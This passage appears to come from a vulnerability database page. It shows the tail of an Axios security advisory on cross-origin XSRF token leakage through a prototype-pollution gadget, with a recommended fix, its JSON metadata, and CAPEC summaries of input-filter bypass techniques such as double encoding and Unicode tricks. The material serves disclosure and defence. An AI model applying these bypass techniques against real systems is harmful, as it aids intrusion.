PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens \u2014 leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-xx6v-rp6x-q39c",
  "modified": "2026-05-05T00:25:22Z",
  "published": "2026-05-05T00:25:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42042"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion"
}

No mitigation information available for this CWE.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

← Back to the CWE list